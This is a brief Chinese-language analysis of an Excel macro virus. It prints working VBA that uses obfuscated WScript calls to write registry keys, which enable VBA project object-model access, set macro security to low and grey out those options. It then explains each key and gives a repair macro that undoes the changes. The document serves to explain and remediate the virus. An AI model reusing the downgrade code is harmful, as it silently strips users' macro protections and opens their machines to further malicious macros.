Function OpenDoor()
Dim Fso, RK1 As String, RK2 As String, RK3 As String, RK4 As String
Dim KValue1 As Variant, KValue2 As Variant
Dim VS As String
On Error Resume Next
VS = Application.Version
Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
RK1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"
RK2 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\Level"
RK3 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"
RK4 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\Level"
KValue1 = 1
KValue2 = 1
Call WReg(RK1, KValue1, "REG_DWORD")
Call WReg(RK2, KValue2, "REG_DWORD")
Call WReg(RK3, KValue1, "REG_DWORD")
Call WReg(RK4, KValue2, "REG_DWORD")
End Function
'--------------------------------------------------------------------------------------------------------------------------------------------
Sub WReg(strkey As String, Value As Variant, ValueType As String)
Dim oWshell
Set oWshell = CreateObject("WScript.Shell")
If ValueType = "" Then
oWshell.RegWrite strkey, Value
Else
oWshell.RegWrite strkey, Value, ValueType
End If
Set oWshell = Nothing
End Sub
這段代碼使用了WINDOWS腳本文件對注冊表進行修改,從這一點來看,病毒還是挺可怕的,你不知道他在注冊表里面會干些什么。
在運行這段代碼后,將開啟“信任對VBA工程對象模型的訪問”,且該選項將變成灰色。
在上面代碼中:
1.“AccessVBOM”項的值為1代表開啟,0表示關(guān)閉“信任對VBA工程對象模型的訪問”
2.“Level”項的值1,2,3分別表示宏的安全級別為低、中、高。
3.而語句中“HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM ”和“HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\Level”添加過后會將相關(guān)的選項變成灰色,變?yōu)椴豢蛇x。
解決變灰的問題,可以手動刪除代碼中涉及的鍵值或者運行代碼:
Sub VBA工程修復(fù)()
On Error Resume Next
With CreateObject("WSCRIPT.SHELL")
.REGDELETE "HKLM\Software\Microsoft\Office\" & Application.Version & "\Excel\Security\"
.REGWRITE "HKCU\Software\Microsoft\Office\" & Application.Version & "\Excel\Security\AccessVBOM", 0, "REG_DWORD"
.REGWRITE "HKCU\Software\Microsoft\Office\" & Application.Version & "\Excel\Security\Level", 3, "REG_DWORD"
End With
End Sub